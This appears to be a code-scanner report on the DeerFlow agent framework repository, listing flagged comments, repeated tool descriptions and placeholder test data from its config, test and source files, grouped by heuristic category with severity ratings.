LOW	config.example.yaml	281	# Use https://api.xiaomimimo.com/v1 with pay-as-you-go `sk-...` keys.	COMMENT
LOW	config.example.yaml	301	# extra_body:	COMMENT
LOW	config.example.yaml	321	# extra_body:	COMMENT
LOW	config.example.yaml	341	# when_thinking_enabled:	COMMENT
LOW	config.example.yaml	361	# max_tokens: 4096	COMMENT
LOW	config.example.yaml	381	# - name: step-3.7-flash	COMMENT
LOW	config.example.yaml	401	# MiniMax provides high-performance models with 512K context window and 128K max output	COMMENT
LOW	config.example.yaml	421	# # title/memory generation) truly disable reasoning instead of spending	COMMENT
LOW	config.example.yaml	441	# model: MiniMax-M2.7	COMMENT
LOW	config.example.yaml	461	# supports_vision: false # M2.7 is text-only; M3 supports vision	COMMENT
LOW	config.example.yaml	481	# # DeerFlow understands), and it strips the per-message `name` field that	COMMENT
LOW	config.example.yaml	501	# "user name must be consistent (2013)".	COMMENT
LOW	config.example.yaml	521	# request_timeout: 600.0	COMMENT
LOW	config.example.yaml	541	# Example: Atlas Cloud (OpenAI-compatible)	COMMENT
LOW	config.example.yaml	561	# - name: atlascloud-qwen3-thinking	COMMENT
LOW	config.example.yaml	581	# Example: vLLM 0.19.0 (OpenAI-compatible, with reasoning toggle)	COMMENT
LOW	config.example.yaml	601	# enable_thinking: true	COMMENT
LOW	config.example.yaml	641	# Web search tool (uses DuckDuckGo, no API key required)	COMMENT
LOW	config.example.yaml	661	# Serper provides real-time Google Search results. Sign up at https://serper.dev	COMMENT
LOW	config.example.yaml	681	# - name: web_search	COMMENT
LOW	config.example.yaml	701	# # api_key: $EXA_API_KEY	COMMENT
LOW	config.example.yaml	721		COMMENT
LOW	config.example.yaml	741	# # token: $BROWSERLESS_TOKEN # API token (required for Browserless Cloud; optional for self-hosted)	COMMENT
LOW	config.example.yaml	761	# # filter: fit # Markdown filter: fit (default) \| raw \| bm25 \| llm	COMMENT
LOW	config.example.yaml	781	# # wait_for_selector_timeout_ms: 5000	COMMENT
LOW	config.example.yaml	801	# Use host.docker.internal instead of 127.0.0.1 when the proxy runs on the host.	COMMENT
LOW	config.example.yaml	821		COMMENT
LOW	config.example.yaml	841		COMMENT
LOW	config.example.yaml	861	# Avoid putting literal API keys in config.yaml; use the $VAR form instead.	COMMENT
LOW	config.example.yaml	921	# via the tool_search tool at runtime.	COMMENT
LOW	config.example.yaml	961	# Suggestions Configuration	COMMENT
LOW	config.example.yaml	1001	# without weakening protection on every other tool.	COMMENT
LOW	config.example.yaml	1021	# warn_escalation_count: 2 # More problems after WARNED before BLOCKED	COMMENT
LOW	config.example.yaml	1041	enabled: true	COMMENT
LOW	config.example.yaml	1061	# of providing an empty list).	COMMENT
LOW	config.example.yaml	1081	# Choose between local sandbox (direct execution) or Docker-based AIO sandbox	COMMENT
LOW	config.example.yaml	1101	# Better heading/table extraction; faster on most files.	COMMENT
LOW	config.example.yaml	1121		COMMENT
LOW	config.example.yaml	1141	# On macOS: Automatically prefers Apple Container if available, falls back to Docker	COMMENT
LOW	config.example.yaml	1161	# # When the limit is reached the least-recently-used sandbox is evicted to	COMMENT
LOW	config.example.yaml	1181	# # environment:	COMMENT
LOW	config.example.yaml	1201	# # Active boxes are never evicted; only warm-pool boxes are stopped to make room.	COMMENT
LOW	config.example.yaml	1221	# provisioner_url: http://provisioner:8002	COMMENT
LOW	config.example.yaml	1241	# # Built-in defaults: general-purpose=150, bash=60. Leave unset to keep them.	COMMENT
LOW	config.example.yaml	1261	# # enabled: true	COMMENT
LOW	config.example.yaml	1281	# # Custom subagent types: define specialized agents with their own prompts,	COMMENT
124 more matches not shown…

Modern AI Meta-Vocabulary48 hits · 106 pts

Severity	File	Line	Snippet	Context
MEDIUM	README.md	599	DeerFlow also supports [Monocle](https://github.com/monocle2ai/monocle), an OpenTelemetry-based tracer for agentic appli	CODE
MEDIUM	README.md	609	Each run writes one trace file to `.monocle/`; open it in the [Monocle VS Code extension](https://marketplace.visualstud	CODE
MEDIUM⚡	config.example.yaml	935	# Prevents oversized tool results from blowing the model context window.	COMMENT
MEDIUM⚡	config.example.yaml	1053	# guardrails / models / tools). The built-in set covers OpenAI-compatible	COMMENT
MEDIUM⚡	config.example.yaml	1892	# guardrails:	COMMENT
MEDIUM⚡	config.example.yaml	1895	# use: deerflow.guardrails.builtin:AllowlistProvider	COMMENT
MEDIUM⚡	config.example.yaml	1902	# pip install aport-agent-guardrails && aport setup --framework deerflow	COMMENT
MEDIUM⚡	config.example.yaml	1903	# guardrails:	COMMENT
MEDIUM⚡	config.example.yaml	1909	# guardrails:	COMMENT
MEDIUM	config.example.yaml	401	# MiniMax provides high-performance models with 512K context window and 128K max output	COMMENT
MEDIUM	config.example.yaml	465	# MiniMax provides high-performance models with 512K context window and 128K max output	COMMENT
MEDIUM	AGENTS.md	43	├── Makefile # Root orchestration: drives the full stack (dev/start/stop, docker, setup)	CODE
MEDIUM	AGENTS.md	54	├── scripts/ # Root orchestration scripts invoked by the Makefile (check, configure, doctor, supp	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	269	"content": "[\n {\n \"title\": \"Top Technology Trends to Watch in 2026: AI, Quantum Computing ...\",\n \	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	199	"content": "{\n \"name\": \"bytedance/deer-flow\",\n \"description\": \"DeerFlow is a community-driven Deep Re	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	618	"content": "[\n {\n \"title\": \"Create Your Own Deep Research Agent with DeerFlow\",\n \"url\": \"https:	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	656	"content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	656	"content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1149	"content": "[\n {\n \"title\": \"[Up-to-date] Awesome Agentic Deep Research Resources - GitHub\",\n \"url	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1226	"content": "[\n {\n \"title\": \"DeerFlow\",\n \"url\": \"https://deerflow.tech/\",\n \"snippet\": \"M	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1765	"content": "I've created a stylish, production-grade webpage based on the DeerFlow research report. Here's w	CODE
MEDIUM⚡	backend/tests/test_suggestions_router.py	65	# MiniMax-M3 inlines its chain-of-thought as <think>...</think> in content	COMMENT
MEDIUM	backend/docs/GUARDRAILS.md	155	[APort Agent Guardrails](https://github.com/aporthq/aport-agent-guardrails) is one open-source (Apache 2.0) implementati	CODE
MEDIUM	backend/docs/task_tool_improvements.md	121	_scheduler_pool.submit(run_task) # Submit orchestration task	CODE
MEDIUM	backend/packages/harness/deerflow/subagents/executor.py	257	# Thread pool for background task scheduling and orchestration	COMMENT
MEDIUM	…ckend/packages/harness/deerflow/agents/memory/tools.py	142	# The staleness age/category/removal-count guardrails protect automatic	COMMENT
MEDIUM	…low/agents/middlewares/safety_termination_detectors.py	127	https://platform.claude.com/docs/en/test-and-evaluate/strengthen-guardrails/handle-streaming-refusals	STRING
MEDIUM	.github/workflows/triage.yml	3	# One workflow for all event-driven PR/issue labeling. Replaces the former	COMMENT
MEDIUM	.github/workflows/triage.yml	58	['area:backend', [/^backend\/app\//, /^backend\/packages\/harness\/deerflow\/(runtime\|persistence\|config\|	CODE

Self-Referential Comments31 hits · 91 pts

Severity	File	Line	Snippet	Context
MEDIUM	…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json	202	"content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn	CODE
MEDIUM	backend/app/gateway/auth/credential_file.py	38	f"# DeerFlow admin {label} credentials\n# This file is generated on first boot or password reset.\n# Change the	CODE
MEDIUM	backend/app/channels/manager.py	1859	# Create a new thread through Gateway	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	324	# Create a live local run	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	425	# Create a run owned by a different worker	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	594	# Create an active run with an expired lease (simulating a crashed worker)	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	1314	# Create a run that this worker owns	COMMENT
MEDIUM	backend/tests/test_sandbox_search_tools.py	495	# Create a sandbox with PathMappings that use user-abc's directory	COMMENT
MEDIUM⚡	backend/tests/test_client_e2e.py	502	# Create an output file in the thread's outputs directory	COMMENT
MEDIUM⚡	backend/tests/test_channel_file_attachments.py	108	# Create the directory structure: threads/{thread_id}/user-data/outputs/	COMMENT
MEDIUM	backend/tests/test_run_manager.py	759	# Create a run and let it complete (will be in both memory and store)	COMMENT
MEDIUM	backend/tests/test_custom_agent.py	435	# Create the agents dir with a file (not a dir)	COMMENT
MEDIUM	backend/tests/test_custom_agent.py	659	# Create an agent through the API, then hand-author a github: block	COMMENT
MEDIUM⚡	backend/tests/test_client.py	1704	# Create a source file	COMMENT
MEDIUM⚡	backend/tests/test_client.py	2811	# Create a small archive that claims huge uncompressed size.	COMMENT
MEDIUM⚡	backend/tests/test_client.py	3246	# Create a target file outside uploads dir.	COMMENT
MEDIUM⚡	backend/tests/test_client.py	3250	# Create a symlink inside uploads dir pointing to outside file.	COMMENT
MEDIUM	backend/tests/test_client.py	1534	# Create a valid .skill archive	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	926	# Create a public skill	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	931	# Create a global custom skill (LEGACY fallback for users without per-user dir)	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	936	# Create a per-user custom skill	COMMENT
MEDIUM	backend/tests/test_skills_custom_router.py	300	# Create a skill in user-level custom dir	COMMENT
MEDIUM	backend/packages/harness/deerflow/subagents/executor.py	700	# Create a new result for synchronous execution	COMMENT
MEDIUM	backend/packages/harness/deerflow/subagents/executor.py	998	# Create a result with error if we don't have one	COMMENT
MEDIUM	…s/deerflow/agents/middlewares/view_image_middleware.py	179	# Create the image details message with text and image content	COMMENT
MEDIUM	…s/deerflow/agents/middlewares/view_image_middleware.py	182	# Create a new human message with mixed content (text + images). This is	COMMENT
MEDIUM	…eerflow/agents/middlewares/clarification_middleware.py	220	# Create a ToolMessage with the formatted question	COMMENT
MEDIUM	backend/packages/harness/deerflow/mcp/tools.py	598	# Create the multi-server MCP client	COMMENT
MEDIUM	backend/packages/harness/deerflow/sandbox/tools.py	1487	# Create the three directories	COMMENT
MEDIUM	scripts/deploy.sh	130	# Create a minimal empty config so the gateway doesn't fail on startup	COMMENT
MEDIUM	.github/labels.yml	3	# This file is the single source of truth for repository labels used by the	COMMENT

Cross-File Repetition14 hits · 70 pts

Severity	File	Snippet	Context
HIGH	…/packages/harness/deerflow/community/crawl4ai/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/firecrawl/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…d/packages/harness/deerflow/community/fastcrw/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckend/packages/harness/deerflow/community/exa/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…d/packages/harness/deerflow/community/jina_ai/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…nd/packages/harness/deerflow/community/tavily/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/infoquest/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckages/harness/deerflow/community/browserless/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckages/harness/deerflow/community/groundroute/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/firecrawl/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…d/packages/harness/deerflow/community/fastcrw/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…ckend/packages/harness/deerflow/community/exa/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…nd/packages/harness/deerflow/community/tavily/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…packages/harness/deerflow/community/infoquest/tools.py	search the web. args: query: the query to search for.	STRING

Verbosity Indicators43 hits · 66 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	1388	# Step 1: cancel(action=rollback) flips running → interrupted	COMMENT
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	1394	# Step 2: worker.py finalize path — task raises CancelledError, then	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	82	# Step 1: Start a container (simulating previous process lifecycle)	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	94	# Step 2: Create backend and list running containers	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	105	# Step 3: list_running should find our container	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	110	# Step 4: Simulate reconciliation — this container's created_at is recent,	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	166	# Step 2: Basic streaming (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	227	# Step 3: Tool call flow (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	263	# Step 4: File upload integration (no LLM needed for most)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	347	# Step 5: Lifecycle and configuration (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	404	# Step 6: Middleware chain verification (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	442	# Step 7: Error and boundary conditions	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	487	# Step 8: Artifact access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	542	# Step 9: Skill installation (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	639	# Step 10: Configuration management (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	773	# Step 11: Memory access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	176	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	183	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	204	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	211	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_client.py	2041	# Step 2: List	COMMENT
LOW⚡	backend/tests/test_client.py	2046	# Step 3: Delete one	COMMENT
LOW⚡	backend/tests/test_client.py	2050	# Step 4: Verify deletion	COMMENT
LOW	backend/tests/test_client.py	2029	# Step 1: Upload	COMMENT
LOW	backend/tests/test_client.py	2396	# Step 1: Install	COMMENT
LOW	backend/tests/test_client.py	2408	# Step 2: List and find it	COMMENT
LOW	backend/tests/test_client.py	2420	# Step 3: Disable it	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	357	# Step 1: Server returns masked config (simulates GET response)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	362	# Step 2: Frontend toggles enabled and sends back (simulates PUT request)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	365	# Step 3: Server merges with existing secrets (simulates PUT handler)	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	65	# Step 1: Look up built-in, then fall back to custom_agents	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	72	# Step 2: Apply per-agent overrides from config.yaml agents section.	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	414	# Step 1: enumerate container names via docker ps	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	449	# Step 2: batched docker inspect — single subprocess call for all containers	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	49	# Step 1: Install the skill using npx	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	52	# Step 2: Verify installation	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	58	# Step 3: Create symlink	COMMENT

Fake / Example Data39 hits · 44 pts

Severity	File	Line	Snippet	Context
LOW	frontend/tests/unit/core/threads/export.test.ts	209	const message = ai("placeholder", {	CODE
LOW	frontend/tests/unit/core/threads/export.test.ts	301	const message = ai("placeholder", {	CODE
LOW	…nents/workspace/gateway-offline-banner-helpers.test.ts	14	email: "user@example.com",	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	138	(element) => pattern.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	168	placeholderPattern.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	243	/deeper follow-up/i.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW⚡	backend/tests/test_oidc_auth.py	25	"email": "user@example.com",	CODE
LOW⚡	backend/tests/test_oidc_auth.py	36	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW⚡	backend/tests/test_oidc_auth.py	93	identity=_identity(subject="admin-subject", email="admin@example.com"),	CODE
LOW⚡	backend/tests/test_oidc_auth.py	99	email="admin@example.com",	CODE
LOW⚡	backend/tests/test_oidc_auth.py	189	local_provider.get_user_by_email.assert_awaited_once_with("user@example.com")	CODE
LOW⚡	backend/tests/test_oidc_auth.py	197	created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")	CODE
LOW	backend/tests/test_oidc_auth.py	58	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW	backend/tests/test_oidc_auth.py	82	email="admin@example.com",	CODE
LOW	backend/tests/test_oidc_auth.py	175	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW	backend/tests/test_oidc_auth.py	208	email="user@example.com",	CODE
LOW	backend/tests/test_oidc_auth.py	249	return {"sub": "subject", "email": "user@example.com", "email_verified": "false"}	CODE
LOW	backend/tests/test_oidc_auth.py	270	created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")	CODE
LOW⚡	backend/tests/test_paths_user_isolation.py	43	result = make_safe_user_id("user@example.com")	CODE
LOW⚡	backend/tests/test_paths_user_isolation.py	48	assert make_safe_user_id("user@example.com") == result	CODE
LOW	backend/tests/test_paths_user_isolation.py	76	raw = "user@example.com"	CODE
LOW⚡	backend/tests/test_channels_router.py	19	email="admin@example.com",	CODE
LOW⚡	backend/tests/test_channels_router.py	28	email="user@example.com",	CODE
LOW⚡	backend/tests/test_auth.py	371	user = User(email="admin@example.com", password_hash="hash", needs_setup=True)	CODE
LOW⚡	backend/tests/test_channels.py	3327	raw = "user@example.com"	CODE
LOW	backend/tests/test_channels.py	3347	raw = "user@example.com"	CODE
LOW	backend/tests/test_claude_provider_oauth_billing.py	17	m = ClaudeChatModel(model="claude-sonnet-4-6", anthropic_api_key="sk-ant-oat-fake-token") # type: ignore[call-a	CODE
LOW	backend/tests/test_claude_provider_oauth_billing.py	19	m._oauth_access_token = "sk-ant-oat-fake-token"	CODE
LOW	backend/tests/test_runtime_lifecycle_e2e.py	171	monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used")	CODE
LOW⚡	backend/tests/test_initialize_admin.py	61	"email": "admin@example.com",	CODE
LOW⚡	backend/tests/test_initialize_admin.py	75	assert data["email"] == "admin@example.com"	CODE
LOW	backend/tests/test_setup_agent_http_e2e_real_server.py	73	monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used-because-llm-is-mocked")	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	90	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	96	- Body: `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`	CODE
LOW⚡	backend/docs/AUTH_TEST_PLAN.md	105	预期： `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	356	-H "X-CSRF-Token: fake-token" \	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	688	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW	backend/docs/AUTH_TEST_PLAN.md	1541	-d '{"email":"admin@example.com","password":"AdminPass1!"}' \	CODE
LOW	…ages/harness/deerflow/skills/skillscan/orchestrator.py	106	_PLACEHOLDER_VALUES = {"", "x", "xx", "xxx", "xxxx", "changeme", "change-me", "example", "placeholder", "test", "dummy",	CODE

Redundant / Tautological Comments25 hits · 39 pts

Severity	File	Line	Snippet	Context
LOW⚡	config.example.yaml	1365	# Set false to disable the new deterministic analyzers. Safe archive	COMMENT
LOW	…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json	123	"content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn	CODE
LOW	backend/app/gateway/routers/artifacts.py	196	# Check if this is a request for a file inside a .skill archive (e.g., xxx.skill/SKILL.md)	COMMENT
LOW	backend/app/channels/discord.py	369	# Check if there's an active thread for this channel	COMMENT
LOW	backend/tests/test_infoquest_client.py	99	# Check if result is a valid JSON string with expected content	COMMENT
LOW	backend/tests/test_infoquest_client.py	278	# Check if result is a valid JSON string with expected content	COMMENT
LOW	backend/tests/test_infoquest_client.py	326	# Check if result is a valid JSON string	COMMENT
LOW	…/packages/harness/deerflow/tools/builtins/task_tool.py	465	# Check if task completed, failed, or timed out	COMMENT
LOW	…s/deerflow/agents/middlewares/view_image_middleware.py	91	# Check if all tool calls have been completed	COMMENT
LOW⚡	…s/deerflow/agents/middlewares/view_image_middleware.py	147	# Check if it has view_image tool calls	COMMENT
LOW⚡	…s/deerflow/agents/middlewares/view_image_middleware.py	151	# Check if all tools have been completed	COMMENT
LOW⚡	…s/deerflow/agents/middlewares/view_image_middleware.py	155	# Check if we've already added an image details message	COMMENT
LOW	…arness/deerflow/agents/middlewares/title_middleware.py	107	# Check if thread already has a title in state	COMMENT
LOW	…arness/deerflow/agents/middlewares/title_middleware.py	111	# Check if this is the first turn (has at least one user message and one assistant response).	COMMENT
LOW	…eerflow/agents/middlewares/clarification_middleware.py	255	# Check if this is an ask_clarification tool call	COMMENT
LOW	…eerflow/agents/middlewares/clarification_middleware.py	280	# Check if this is an ask_clarification tool call	COMMENT
LOW	backend/packages/harness/deerflow/mcp/cache.py	97	# Check if cache is stale due to config file changes	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	504	# Check if args has server-filesystem package	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	1365	# Check if sandbox already exists in state	COMMENT
LOW	backend/packages/harness/deerflow/sandbox/tools.py	1483	# Check if directories have already been created	COMMENT
LOW	…rness/deerflow/community/infoquest/infoquest_client.py	68	# Check if status code is not 200	COMMENT
LOW	scripts/detect_uv_extras.py	194	# Check if we're at the parent's child level (subsection)	COMMENT
LOW	skills/public/skill-creator/scripts/init_skill.py	208	# Check if directory already exists	COMMENT
LOW	skills/public/vercel-deploy-claimable/scripts/deploy.sh	175	# Check if input is a .tgz file or a directory	COMMENT
LOW	skills/public/vercel-deploy-claimable/scripts/deploy.sh	191	# Check if this is a static HTML project (no package.json)	COMMENT

Synthetic Comment Markers7 hits · 35 pts

Severity	File	Line	Snippet	Context
HIGH	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	550	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	53	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
HIGH	…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
